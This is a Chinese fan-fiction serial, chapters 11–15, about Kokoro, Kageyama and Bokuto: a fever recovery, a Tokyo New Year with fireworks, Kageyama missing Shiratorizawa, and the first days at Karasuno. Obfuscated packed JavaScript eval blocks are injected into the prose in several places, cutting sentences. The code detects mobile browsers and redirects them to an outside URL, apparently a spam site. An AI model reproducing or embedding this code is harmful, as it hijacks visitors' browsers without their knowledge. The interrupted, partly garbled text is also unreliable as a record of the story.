【这么久以来教和照顾小飞雄实在是麻烦你了，好好休息哦Kokoro】 一同看完这张纸条的两人如雕塑般沉静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107883|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一会。 然后他们一道抬起头。 影山飞雄面无表情的脸上写满了困惑。 我？照顾？麻烦？ 影山语满分的心音对答如流。 “不麻烦，现在是影山在照顾我。” “和影山做朋友实在是太好了。” 影山飞雄若无其事地移开了视线，并且顺其自然地收起了纸条。 绝对是揉成一团放在自己的口袋里了吧。 栗原心音虽然脑袋晕乎，但是目光如炬。 看着在自己脚边溜来溜去的小狗，心音的难受等级降一档。 ——生病还能在家吸到小狗，世界上最幸福的事情。 “影山下次来可以按门铃的，或者给我打电话。” 心音颇不赞成地看向影山，“在外面吹太久风是会感冒的。” 她看见影山咧开嘴，露出雪白的牙齿，摆出了自己标志性的笑容。 她及时制止了影山将要说出的flag. “乱立flag可不好哦……”心音幽幽地说到。 身处于暖气房中的影山莫名地打了个寒颤。本能让他咽下了还没说出口的话。 在亲眼看着心音喝下一大杯红糖水和吃完退烧药后，影山飞雄圆满地完成了任务。 他抱起比熊，准备离开。 站在房门前，比熊捞起他的手，一摇一摆地像是在和心音说再见。 心音忍不住笑了。 她也有样学样地摇摇手，掌心一开一合。 就像星星在眨眼。 屋外的凉气和温暖的室内恍若两个世界。 影山飞雄站在门打开的一侧，挡住了意图涌入屋内的凉风。 捣乱的比熊让少年原本笔直行走的身影变得摇摇晃晃，他好像拍了拍比熊的屁股想要让它安静下来，却遭到了比熊的反扑。 他们一同走进了茫茫地夜色里。 / 影山妈妈准备的感冒药功效强大，几乎在吃完后的第二天，栗原心音就摆脱了病怏怏的状态，能够活蹦乱跳起来。 接踵而至的是升学考。 栗原心音反而一点都不担心自己，她最担心的是影山飞雄。 于是在考试前，她扣押住了影山，检查了三遍他的文具有没有带齐。 随后她就像要给孩子送考的家长打算提醒他一些注意事项，又生怕自己给对方过大的压力。 反倒是影山飞雄像个没事人一样。 “本来可能紧张的想吐，但是看到你马上就要吐出来的样子，莫名就安心了许多。” 这可能就是紧张的转移效应。 ——在目睹了别人的紧张之后，自己的紧张就会自然消散。 对于升学考试的印象，在记忆里反而显得格外模糊，毕竟考试到最后几乎是凭借着肌肉记忆在思考。 她只记得一出考场，还没有来得及思索要不要询问影山考得怎么样，影山飞雄就率先告诉她了一个噩耗。 ——“虽然排球考核结束了，但是跑步锻炼还是不能简短。” 影山飞雄这样宣布着，他把心音的生病完全归因于半途而废的体能锻炼。 “不要。”栗原心音瞬间拒绝着，还未等影山飞雄询问原因，她就得意地说到：“放假我要去东京的祖母家。” “太遗憾不能和影山一起跑步了。” 心中的小人叉着腰哇咔咔地大笑着。 此时的栗原心音当然忘记了祖母家里还有一位精力充沛的体育生等待着她。 12. chapter 12 “心音！” 她看见一个白头发的扫帚脑袋在人群中蹦来蹦去。 一双灯泡般炯炯有神的眼睛时隐时现。 栗原心音朝那个方向走去，眼前的人和记忆中的差别有些大。 首先是像雨后春笋般拔高的升高， 其次是那头夺目的发型。 她试探性地张口：“光太郎？” 猫头鹰的眼睛瞬间熄灭了，变成了失去高光的豆豆眼。 很好，确实是光太郎。 她娴熟地伸手揉了揉他的头发，果不其然，摸到了一手发胶。 心音倒吸一口凉气：“你这是把舅舅的发胶都用光了吗？” “才没有——是妈妈单独给我买的。心音，你刚刚肯定是不认得我了对吧，不敢认了对吧。” “我刚刚可是听得清清楚楚的，左边和右边的耳朵都听清楚了，你迟疑了！” 心音本来以为自己能够屏蔽在身边上蹿下跳的那个脑袋，但是她发现分别了这么久，她的忍耐力飞速下降了。 她深吸一口气平复自己的心情，随后露出一双星星眼。 “光太郎一下子就长高那么多，头发还变得那么——帅气，我当然不敢认。” “嘿嘿嘿。”木兔总算满足了，他拿过心音推着的行李箱，一下子蹦了上去。 那句小心还来不及说出口，载着木兔的行李箱就丝滑地溜下了下坡的路段。 然后华丽丽地撞到路边的绿化带。 她急忙跑过去，从绿化带里把一只木兔拔出。 他的头发上缀着几根嫩草，嘴里也不小心塞下了一些，不过木兔依旧精神满满。 “他们就停车在那里哦。”木兔大手一挥，指了指路边的那辆车。 显然，绿辉舅妈目睹了木兔栽倒在绿化丛中，她在原地来回踱步，即使看不清表情，心音也能对她的着急感同身受。 于是她拉着木兔大步向前走去，并叮嘱他下次不许在下坡路段滑行。 “ ...... 那平地呢，上坡呢...” “通通不行。”心音残忍地拒绝了。 刚见到绿辉舅妈，她还是和过去一样拽着心音开启了夸夸模式，一连串的溢美之词如涛涛流水般涌来。 察觉到身后的木兔拉开车门想要坐下，心音拽住了他的衣角。 木兔和自己的母亲面面相觑着。 不一会，绿辉舅妈露出了一个温柔的微笑，她拿出手机。 上面播放着木兔栽进绿化带的全过程。 “哇卡卡卡，妈妈我就知道光太郎你肯定会摔跤，早早就对准了，只有有准备的人才能拍下这样完美的影像。” 车窗被缓缓摇下，驾驶座里坐着一位身着西装的稳重男士。 然而稳重的形象难以维持在一秒以上，他从车窗里探出了脑袋。 绿辉舅妈熟练地把手机递给他：“这个在光太郎以后的婚礼上放怎么样，大家肯定会很开心的。” 心音倒吸一口凉气，她看向自己身侧已经石化的木兔。 像是察觉到她的目光，那座石像的头缓缓地转向她。 一双眼睛似乎在质问她为什么要让他站在这里经历这一切。 【婚礼】 【摔跤视频】 【还有很多这样的珍藏视频】 这样的话变成了利箭，一下把木兔戳得千疮百孔。 为了不让木兔的状态恶化，心音打开车门，安置雕塑，自己也坐了进去。 车很快开动了，音响里放着木兔一家都钟爱的摇滚音乐。 “话说光太郎顶着这样的头发真的能去见外祖母吗。” “嗯？光太郎是什么头发”绿辉舅妈漫不经心地看着手机，悠悠的转过头。 原来是从来没有认真看过光太郎的头发吗。 她看着绿辉舅妈的脸色逐渐变得灰白，然后捂住心口。 “爸爸，你看光太郎的扫帚脑袋，真的不会把妈妈气晕吗。” 木兔舅舅不动如山地开着车：“不会的，妈妈内心很强大。” 如果从心音的角度没有看到他颤抖的手，她想她绝对会相信的。 一旁的木兔把自己由于摔入绿化带而被压扁的头发重新竖了起来， 他显然很满意，而后像是突然想起来什么事情一样。 “我真的没有偷爸爸的发胶哦，这个真的是妈妈递到我手里的。” 心音有些恍惚，她有一种预感， 今天的家庭聚会绝对不会简简单单地结束。 / “外祖母！” 车刚停下，栗原心音就看到了等在门口的外祖母。 木兔美智子的头发花白，一身的和服穿着整齐，虽然手边撑着拐杖，但是背还是挺得笔直。 “怎么又瘦了。”她觉得眼前的心音变得比从前还要单薄。 “最近锻炼身体了，是健康瘦。”心音扬起脑袋。 美智子向她身后看去，木兔光彦和绿辉的打扮还算得体。 后面那只扫帚头是从哪里找来的司机，这种发型还是太奇特的。 司机还健步如飞地走在他们前面。 今天就辞退，美智子思考着家里有没有多余的适合的司机。 不过等司机凑近了，她才发现此人有些眼熟。 “...光太郎。” “祖母！”木兔光太郎响亮的声音涌入她的耳畔。 木兔舅舅舅妈以及心音早已在一旁待命，准备接住被吓得晕倒的美智子。 但是美智子祖母比他们想象中的更加稳重，她只是眼瞳微颤，然后转身向大门走去。 一道道菜肴被女佣递上桌，一桌人都在等待美智子祖母先动筷， 光太郎更是做出蓄势待发的姿态。 “心音，你的爸妈现在又跑到哪里去了。” “应该在巴西，爸爸还拍了很多好看的照片给我看呢。” “哼。”外祖母放下筷子，“他们就这样把你放在家，一点做父母的样子都没有，还好你最懂事。” 知道无论怎么回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107884|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答都无法让外祖母满意的心音选择了转移话题，她夹了生鱼片放在外祖母的盘子里：“这个很好吃哦，外祖母。” 光太郎率先吃完饭，他的嘴巴还鼓鼓的：“心音待会跟我出去玩一会哦，祖母我带她好好玩的。” 心音的食量也不算大，所以是第二个吃完的。还没有等她征求外祖母的意见，她就朝她挥了挥手：“天天待在屋里也没什么意思，和光太郎出去玩吧。” 她刚推开大门，埋伏在门口的木兔就冒出了脑袋。 心音配合地被吓得往后仰。 “木兔的超吓人恶作剧。”他就像完成了一个游戏片段一样总结着自己的成就。 木兔的手上抱着一大箱烟花。 “今年的过节项目是放烟花！”他这样宣布着。 随后拉着她一口气跑到了外祖母家后面的山上，山顶有一片开阔的地带，远处是东京繁华的夜景。 木兔把超长的火柴塞到心音的手里，“今年的烟火心音来点。” “我吗？”那箱烟花一副火力十足的样子。 “心音姐难道是害怕了吗？” 居然动脑子了，栗原心音的心中微震。 不过激将法对自己无效啊，虽然一点都没有被激将到，不过看着木兔期待的眼神，她还是接过了火柴。 加长版的火柴大概也是为了让她不要那么害怕吧。 她把手机交给木兔：“帮我拍个视频哦！” “你那是什么角度，太死亡了！换个角度拍我！” “木兔光太郎！” / 另一侧，早早吃完晚饭的影山飞雄趁家里人不注意，又溜到了院子里。 即使是在这样的日子，他还是更喜欢打排球。 意料之外的，放在台阶上的手机“嗡嗡”地响了两声。 【等练完球再看看吧】 他这样想着。 把毛巾搭在头上，他坐在台阶上，翻看着手机。 名为Kokoro的发件人就这样跃入了视线。 是一个不算长的视频。 栗原心音和拿着手机的人再三确认。 “你真的把我拍进去了吗。” 镜头上下摇动，就像是在点头。 她小心翼翼地点燃手中超长的火柴棒，以最极限的远距离触碰着烟花的引线。 虽然看起来很害怕，她还是站在原地，对着镜头迅速地说完了一句含糊的“新年快乐”，旋即拔腿就跑。 画框不再对准她，而是对着被点燃的引线。 几秒后，绚烂的烟火打着旋离开了地面，划破寂静的空气，在最高处的地方绽放。 整个东京的天空都像被眼前的烟花点亮。 栗原心音并没有踩点发送这份贺岁视频，而影山飞雄也没有及时点开它。 但是在新年的钟声敲响的那一刻，来自东京的烟花绽放的声音与它重合。 他的眼眸也满载着来自远方的烟火。 【影山飞雄：新年快乐。】 13. chapter 13 自以为脱离了影山运动训练的苦海。 心音幻想中的放假生活是这样的—— 首先必不可少的是一觉睡到自然醒，穿着睡衣松弛地享用好午饭，然后再回到自己的房间拉上窗帘，窝在懒人沙发上开始翻看自己喜欢的小说漫画，闲暇时间还可以玩一会游戏。 绝赞假日计划。 在傍晚稍微预习一下高中的知识吧，心音这样补充着。 但是绝对不是现在的场面。 刚通宵的她被美智子的敲门声叫醒，像小鸡啄米般艰难地吃完了早饭。 而坐在她对面的，是吃得有滋有味的木兔。 他一口吃掉了大半的三明治，还不忘用空闲的另一只手朝祖母比了个赞。 “心音，你怎么那么没精神。” 栗原心音摇摇欲坠的脑袋激灵了一下，她收获了外祖母饱含忧虑的目光。 还没有等她想好可以成功打消外祖母疑虑的借口，对面的木兔双手合十。 她与那双写满了奇思妙想的眼睛对视了，她的心里升起一种不妙的预感。 “我带你打排球吧！排球可以让人变得很强壮哦。” “就像我这样。”木兔撩起自己的衣服，弯起手，指了指自己流畅的手臂线条。 不过此时的心音没有心思去注意预备男高的体魄，她饱含希冀地望着自己的外祖母。 拜托，请外祖母把礼仪课或者钢琴小提琴的课程塞满我的日程。 而不是同意我去打排球。 美智子祖母陷入了沉思， 她的目光在心音和光太郎之间徘徊。 一个目光炯炯有神，充满年轻人的朝气。 一个目光颤抖游移，散发着垂暮老者的丧气。 一个身强体壮，力大如牛。 一个身如浮萍，连吃早饭的力气都没有了。 美智子祖母的心中有了决断。 她大手一挥：“心音，你的确很需要锻炼。” 心音最后的希望破灭了。 她飘荡在活力满满的木兔身后。 “排球~排球——”他哼着自创的排球的小曲。 木兔祖宅空旷的还没来得及种下花草的土地不知什么时候被人安置了排球网。 “将将，当然是在心音来的前一天安装的。”罪魁祸首满意地看着自己打下的江山。 很好，还是早有预谋。 她怀疑木兔在排球领域是只天然黑，不然自己怎么天天在他身上栽跟头。 于是，心音的假期计划成功的泡汤了。 她的每个早晨都是在挥洒汗水的排球场上渡过，到了中午精疲力竭的她选择倒头就睡。 唯一按照计划来的，只有在傍晚预习高中知识这个计划。 不过这也给了她报复光太郎的机会。 每当光太郎抱着排球打算趁她专心学习的时候溜走时， 她就会发出惊呼，随后张大嘴巴。 在外祖母这个称呼还没来得及喊出口前，敏锐的木兔就迅速跑到了她的身边，捂住她的嘴巴。 “我这就学。” 他的脑袋耷拉下来。 / 鸡飞狗跳的假期很快就结束了。 心音被蛋花眼的木兔目送着踏上了回宫城的车。 放榜日也快到了，想到这点，心音松散的神经一下子紧绷起来。 飞鸟已经成功入学了东京的学校，因此自己也早早打算入学离家最近的乌野。 十拿九稳的心音并没有因为自己的升学而担心。 【Kokoro：我们一起去看白鸟泽的放榜吧探头探脑jpg.】 【影山飞雄：嗯】 【影山飞雄：比熊点头jpg.】 一定会考上的，她在心中默念着。 一月的宫城还没有彻底地摆脱冷空气的掌控，街道上的雪倒是比离开的时候融化了许多。 心音用羽绒服和围巾把自己包裹得严严实实的，她看向放在入户架上的针织帽，有些心动。 不过最后还是放弃了把自己裹成熊。 她推开门，影山飞雄早已等在那里。 “没事的影山，别太紧张，顺其自然就好。” 栗原心音一张口，就吐出了几道雾蒙蒙的白气。 白气飘悠悠的，就跟她的主人一样一点都不“顺其自然”。 他点点头。 一路上，栗原心音与那款他的妈妈一段时间十分沉迷的名为旅行青蛙的游戏一样，她拿出手机，一张张向他展示着自己丰富的假期生活。 不过一旦划到不知道是被谁拍下的，刚打完排球累趴在地上的心音时，她就会装作若无其事地迅速划过，并且背对着他恶狠狠地删除照片。 她伸出手：“约好的互换照片。” 说实话，影山飞雄并不觉得自己拍的照片有什么意思。 全都是自己在各个地方打排球的打卡。 ——虽然自己觉得打排球确实很有意思，但是看过这些照片的美羽姐姐嫌弃地说： “哈，你就打算拿这些照片跟你的朋友互换吗。” 心音接过手机，仔细地端详起来。 影山飞雄看着低着头默不作声的心音，果然会觉得很没意思吗。 不过下一秒，她举起了手机， 手机浅浅地戳到了他的鼻尖。 “诶，抱歉。”心音指了指屏幕上的照片，“你看这张，是在去山里寺庙的时候拍的吧。” “影山拿起排球的时候，后面那只小麻雀都被吓得扑腾起翅膀。” “还有这张......” 在前往白鸟泽的路上，影山飞雄看着心音的手指在小小的一块屏幕上翻飞着，连树枝上微颤的雪都能被她夸出花来。 他想起在那天心音在演讲台上讲话的时候，那两个男生对她的评价。 高冷，不好相处。 果然是完全不了解她的人说出的评价。 所以，栗原心音为什么会没有朋友呢。 饶是影山想破脑袋，也想不到这个问题的答案。 或许她只是觉得没有交朋友的必要吧。 不知不觉间，他们已经到了白鸟泽的门前。 身为县内一流高中的白鸟泽，放榜日时来的人也数不胜数。 大门前立着的指示牌上写着【查阅放榜者从此处进】 其实根本不需要这块指示牌，乌泱泱的人群簇拥着的地方显然就是榜单所在之处。 好不容易走到乌泱泱人群的前列，心音立马把目光投向眼前写着密密麻麻名字的榜单。 她阅读的速度很快，一目十行也不在话下。 但这次她看的格外的久。 看了一遍也没有找到影山的名字，她就抬起头看第二遍、第三遍。 直到影山飞雄自己已经确认了没有上榜，栗原心音的视线还在上面寻觅着。 她睁得大大的眼睛都有些发酸，影山飞雄拍了拍她的肩膀。 “不用找了，上面没有我的名字。” “...好。”心音把自己的脸藏在厚厚的围巾里，跟着影山走出了人群。 如果是自己想考白鸟泽结果没有考过，她大概不会有什么心情波动。 假如有什么遗憾不甘的情绪，只会下意识地把它藏在心里，然后一遍遍督促自己，下次再努力点就行，下次一定会考的比这次好，没有什么好伤心的。 但是当这些遗憾降临到自己的朋友身边时，事情完全就变得不一样了。 即使她的朋友都是很坚强的人，完全不会被一次的失败打败，但栗原心音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107885|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会替他们不服气。 明明影山已经很用功了，从一开始的什么都不会，到后来模拟卷被打上满满的圈。 从一开始的补习一个早上，到后面一整天都在看书，再到最后的一段时间，在老师的办公室也能碰见影山飞雄的身影。 所以他为什么不能上白鸟泽。 ...其实栗原心音知道这些想法没有什么道理。 比起半路开始学习的影山飞雄，真正考上白鸟泽的人大多都从国一甚至更早，就决定了考试升学这样的道路。 “...你哭了吗。”影山微蹲，与把头埋进围巾里的心音视线平齐。 “没有。”她眼眶发红，语气生硬地转过脑袋。 “...我为什么不能哭。”意识到了自己这么说就像承认了自己刚刚在哭，心音转回脑袋，“影山不难过吗，你为什么不哭。” “有点难过，不过不想哭。” 影山飞雄认真地回忆自己过去的经历，似乎还没有难受到哭这种心情。 心音板起脸，开始跟他科普难过的时候哭的作用：“影山不用听别人说什么男子汉就不能哭，哭才不会代表软弱，只是一种发泄情绪的渠道而已。” 她抓住他走到附近的一个巷子里，抬起头，接着拿起自己的围巾，向影山演示了一遍如何钻进自己的围巾，佯装高冷实则是在偷偷抹眼泪。 就跟你刚刚一样吗。 影山飞雄在心里说着。 他还是听话地把脑袋埋进了自己的围巾，露出一双深蓝的眼睛。 他眼角弯弯的。 心音狐疑地问道：“影山你在笑吗。” “嗯。”由于被围巾堵着嘴巴，影山的声音闷闷的。 “...你不会是在笑我吧？” “没有。” “那你在笑什么？” “不知道。” 他确实不知道自己在笑什么。 撇去围巾下可能藏着的咧着大牙笑的嘴巴，心音有些受不了单独盯着她看的眼睛。 她揉了揉自己发烫的脸颊，不讲道理地把影山的整个围巾向上拉。 这下变成了木乃伊版的影山飞雄。 他的头上还冒着问号。 “不好意思。”心音揉搓着围巾的流苏，“本来说一定会帮你上白鸟泽的，可能我的水平还是比不上那些正式的补习老师。” “我把答题卡填满了。” “原来不会看一眼的题也有些思路了。” 他揉了揉自己的脑袋，想着该怎么开口。 “你是最好的补习老师。” 说完这句话，影山飞雄就像是冒着蒸汽的高压锅，咕噜咕噜地把头埋进围巾里，同手同脚地走出了小巷。 猝不及防地接受了直白的夸赞的栗原老师被控在了原地，不过她很快就缓过神，把影山捂住鼻子的围巾拉了下来，防止他过热自燃。 “没有上白鸟泽，影山会去青叶城西吗。” “不会。我想从高一就作为正式队员打比赛。” “我打算去乌野。” “乌野？”栗原心音知道乌野并不算一个排球强校，“为什么不去伊达工业，或者别的强一点的排球学校。” “乌野的乌养教练很厉害，他之前生病了，不过最近又要回来了。” “他带队进过全国大赛。” “这样啊。”栗原心音眨眨眼，“所以影山也要去全国大赛对吧。” 当然了。 他意气风发地看向她，读懂这样的眼神并不需要精通影山语，那写满野心的张扬的眼神，就算是再迟钝的人也能看懂。 / “如果影山也上乌野了，我们又可以一起溜小迪了！” “...还有跑步。” “...再见了小迪。” 14. chapter 14 【万恶的自我介绍环节】 栗原心音面无表情地看着站在讲台上的新班主任老师。 虽然他好像看起来比他们更紧张。 “嘛，作为老师，那就由我先开始自我介绍吧。” 他转过身，拿着粉笔的手一滑，最后及时在粉笔掉落在地上的那一刻把它捞起。 但是字写得相当好看。 他在黑板上留下了自己的名字——武田一铁。 “接下来的日子里将由我担任大家的班主任和语文老师。” 他鞠了个躬，是超标准的那一种。 稀稀拉拉的掌声随之响起。 身后的两个女生大概一早就认识。 声音稍微清亮地自以为很小声地说着：“新班主任看起来蛮好相处的嘛。” 另一位也相当赞同：“这样看来，只要到班上把裙子调短点就不会被抓了。将，我还带了别针。” “哇哦杏子，太聪明了吧。” 原来是可以通过别针来调整裙子的长度的吗， 栗原心音大为震惊地看向自己齐膝的统一的乌野校服。 不过还未等她拿夹资料的别针探索出调整裙子的方法，上方的武田老师就宣布了这一噩耗。 ——“那么就先从一排一列开始自我介绍吧。” 自我介绍是全世界最坏的文明，栗原心音断言。 一个人站在讲台上接受着一群还不认识的，脸上就像被打着马赛克的同窗注视。 还要绞尽脑汁地说出自己与别人有什么不同之处，这样的事情简直可以被纳入酷刑了。 她仍然保持着面无表情，只是大脑已经开始高速运转。 自己选择的座位比较后排，比起先发言的人有很多缓冲的余地。 但是后排发言也意味着选择说什么的机会就更少了。 她的手机里还留存着昨天飞鸟发来的简讯。 【说好了上了高中就要交更多的朋友，那就从开学第一天开始吧。 首先要在第一天给大家留下深刻的印象哦。】 栗原心音并不记得自己什么时候答应过这样的霸王条款，不过她并不排斥在高中做出改变。 ——所以到底要怎么进行自我介绍呢。 她略微有些抓狂，今天早上刚吃完的牛奶面包在大脑的高速运转后被消化殆尽。 嗯？ 栗原心音抬起头，前桌散发着难以让人忽视的低气压。 她的头发是金黄色的，看起来像一个好吃的布丁，没有焦糖的那种款式。 一款阴云密布的布丁。 栗原心音这样补充着。 就像是要印证她的想法，布丁脑袋突然捂住了嘴巴。 ——她绝对是紧张地要吐了吧。 栗原心音敏捷地从抽屉里抽出一瓶矿泉水，拧开瓶盖，戳了戳前桌的背。 “喝口水吧。” ...这样应该能算飞鸟说的第一步吧，类似于温柔好相处的后桌这类的形象。 不过前桌女孩的视角是这样的—— 正在为自我介绍而焦虑的她突然被戳了戳后背，于是惊恐不已地转过身。 转过身后，映入眼帘的是一个栗色炸炸头的少女，头发张牙舞爪着。 她递来了一瓶矿泉水，面无表情地缓缓说着： “喝——口——水——吧” 说完，还扯起嘴角笑了笑。 “....谢谢”她视死如归地接过水，一饮而尽。 妈妈，你可能再也见不到我了。 女孩这样想着。 虽然递上了水，还表达了安慰，不过总感觉对方的反应有些奇怪。 ...还是不想了。 心音偷偷地在抽屉里编辑着简讯。 【Kokoro：刚刚帮助了同班同学 黄豆笑脸】 【飞鸟：诶！太棒了！】 收获夸夸的心音满意地收起手机。 自我介绍很快就轮到了她们这一列，她看着前桌走到讲台上。 果然刚刚的矿泉水发挥了作用，前桌对自我介绍都不大害怕了。 她虽然有些小声，但还算流利地完成了自我介绍。 “我叫谷地仁花，我的特长是比较擅长设计和画画，虽然水平并不高，但是如果有这方面的需要的话，大家可以来找我帮助，请多指教。” 她鞠躬的姿势和武田老师一样标准。 同学们善意的掌声响起。 自以为完成帮助新同学指标的心音降低了对自己自我介绍的要求。 只要完成介绍自己来自哪里和擅长的东西，最后表示愿意帮助同学，这样的自我介绍就算完成了吧。 她自信满满地走上讲台。 “我叫栗原心音，擅长的事情有小提琴，钢琴，书法......不过最擅长的还是学习，所以大家如果有学习方面的问题，都可以找我帮忙，请多指教。” 意想中的掌声并没有如约而至，心音有些疑惑地抬起头。 张大嘴巴的同学们就像是刚回过神一样，举起手鼓起了掌。 “栗原同学。”叫作仁花的女孩主动和她问话，“你是不是什么极道家族的大小姐，从小接受严苛的家族培养...” “诶？”想不到事情会有这种走向的心音变成了豆豆眼，“只是我的外祖母对我比较严格，所以学了很多东西。” “原来是这样吗，但是一口气说自己擅长那么多真的很厉害啊。” “厉害？” 像是表达这样的行为有多么地了不起，仁花站了起来，撑起桌子，认真地注视着她。 “一般来说，大家都会这么说。”仁花站在过道里，扮演着一名羞涩地进行自我介绍的人，“啊，大家好，我稍微比较擅长一点画画，但是也没有到很厉害的那种程度，希望大家多多指教。” “而不是...”她切换成了一幅面无表情的模样，“没错，我就是相当擅长这些东西。” “稍等一下。”栗原同学举手问答，“刚刚那个面无表情的人是在演我吗。” 仁花点点头。 虽然一点都不想承认，但是她现在明白自己递水的时候仁花奇怪反应的原因了。 不过现在想想自己所处的日本文化圈确实是这样，大家大多倾向于谦逊地表示自己并没有多厉害，而不是锋芒毕露地自信介绍自己擅长的东西。 究竟是什么时候自己觉得这样的举动是再正常不过的。 心音的脑海里一闪而过几个自信张扬的排球脑袋。 “可能是因为我的朋友里，这样自信的人含量超标了吧。” 不过仁花也是很厉害的人。 她看着仁花一脸惊讶地看向她，自己好像把心里话说出口了。 “就是觉得，擅长设计和画画的人真的很有想象力，极道家族大小姐什么的。 还有刚刚仁花演的真的超逼真，难道仁花天天在心里上演这么精彩的小剧场吗。” 她目睹着仁花柔顺的头发炸了起来，脸也变得通红。 ——又一款高压锅诞生了。 于是，心音和仁花奇妙的友谊就这样诞生了。 第一次和仁花吃午饭，稍微有些紧张。 心音看向自己手中的便当，透过厚厚的包装，她回忆着里面的菜品。 把鱼饼分给仁花吃吧，她看起来应该会喜欢。 视线里被塞入了厚厚一沓宣传海报。 ——社团大招新。 她才意识到自己和仁花已经被一圈如狼似虎的学长学姐们包围了，他们一边戴上僵硬地笑容，一边挥舞着手中的招新海报。 栗原心音和仁花对视一眼， 随后拔腿就跑。 好不容易在确定没有学长学姐出没的天台停下了脚步。 仁花大口喘气：“招新的学长学姐们也过于热情了吧。” “不过看起来不太像自愿的。” 仁花有些好奇：“心音打算报什么社团。” 心音打开饭盒，拿筷子抵住下巴：“说实话，完全没有头绪。” “初中加过游戏社，本来以为就是大家在部活的时候待在家里，面对着电子屏幕一块打游戏。谁知道居然是要在线下的游戏厅进行1v1，所以后面就退社了。” “如果有宅家部什么的就再好不过了。” 仁花一脸沉痛地摇摇头：“很遗憾，我打听到的情报是这个学校的教导主任并不让开展宅家部这种水社。” “诶”心音发出哀嚎。 “不过呢，我这里有个好消息。”仁花得意地笑了笑， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方久久没有回话，不过对话栏倒是一直在正在输入中的状态。 心音决定不逗影山了。 【Kokoro：刚刚开玩笑的，所以影山现在要留很晚为3v3作准备吗】 【影山飞雄：嗯】 【Kokoro：那加油！比熊打气】 心音拿起包，朝着学校大门走去。 ...... 她转了个身，朝着排球部走去。 排球部的学长大概有关于社团氛围和团结性方面的顾虑，虽然自己刚刚已经打定主意要相信影山能解决这个问题了，但是莫名地还是有些担心。 两只腿也不听话地自动往排球部走。 总之先找到他们在哪然后在一个阴暗的角落观察吧。 ...总觉得自己好像变成了担心小孩的那种妈妈的角色， 她使劲甩开这种奇怪的想法。 夜晚的乌野染上了一些校园传说的氛围， 学校大概经费也不够充足，路灯的建设相当堪忧。 她突然感觉自己的身后像是有人跟随。 栗原心音在心里告诉自己鬼怪这种东西是不存在的。 下一秒，一只手搭上自己的肩膀，几缕黑色的发丝出现在了余光里。 她抑制住自己尖叫的冲动，转过身。 是一名好看的学姐。 “抱歉，是吓到你了吗。”学姐这样询问道，“需要我帮你指指路吗，你看起来好像迷路的样子。” 我好像被仁花今天分享的校园秘闻洗脑了，居然会误会这么好看的学姐是那种恐怖的存在。 心音不好意思的低下脑袋：“我在找排球部。” “诶，是要去女子排球部吗。” 心音飞快地挥舞着自己的手：“我完全没有要去女子排球部的想法，我是想找我的一个朋友，他今天本来打算报名男子排球部的。” “原来是这样啊。”学姐笑着捋了捋被风吹起的几根头发，“我是排球部的经理哦，我带你去吧。” 排球部居然会有这么好看的美女经理吗。 “学姐的工作应该会很辛苦吧。” “虽然辛苦，但是也很开心。” “方便问一下你的朋友叫什么名字吗。” “他叫影山飞雄，是个超——厉害的二传手哦。” 清水脚步顿了顿，看向身边的女孩。 总觉得影山飞雄，大概会跟大地设想中的样子有些不一样。 15. chapter 15 “清水学姐的包看起来好重的样子。”那是一个方型的单肩包，清水学姐的肩膀有些倾斜，“我来帮学姐拿一下吧。” “诶，不用了。”清水学姐笑了笑，“虽然我看起来蛮瘦的，但是过去也是练体育的。我的力气也蛮大哦。” 清水学姐的眼镜闪过一道银光：“那，你可以双手伸过来试试哦。” 心音听话地将手放在方型单肩包下，清水稍微卸力，三分之二的分量落在心音的手上，她几乎被压得向前倾。 清水学姐及时地再次背上背包。 “怎么样。” “好厉害！”排球部的经理果然也是非凡的人物。 “...对了，还没问你叫什么名字。” “我叫栗原心音，学姐请多多指教！” 清水想起大地前些时候发给她的简讯，里面对影山的描述稍微和她现在的想法有些出入，不由得有些在意：“心音觉得影山是什么样的人呢。” 眼前的女孩对影山的性格简直如数家珍，说到他擅长的地方甚至有些与荣共焉。 “影山对排球相当相当认真，几乎所有空闲的时间都拿来练排球了。” “他是非常优秀的二传手哦。” 像是对他们的顾虑有所了解，女孩抓住自己的手指：“虽然他目前可能还不大擅长和别人交流，但是他绝对不是那种自私的人，他可以和队友好好相处一起打比赛的......” 不知不觉间，已经走到了排球馆的附近。由于和心音边走边聊天的缘故，抵达排球馆的时间稍微比预定的晚了些。 排球馆的窗户透着一些微光，大门却紧闭着。 大门前有一颗橘黄色的脑袋，即便是在夜色里也格外显眼。 同时心音也认出了影山那僵硬的后脑壳。 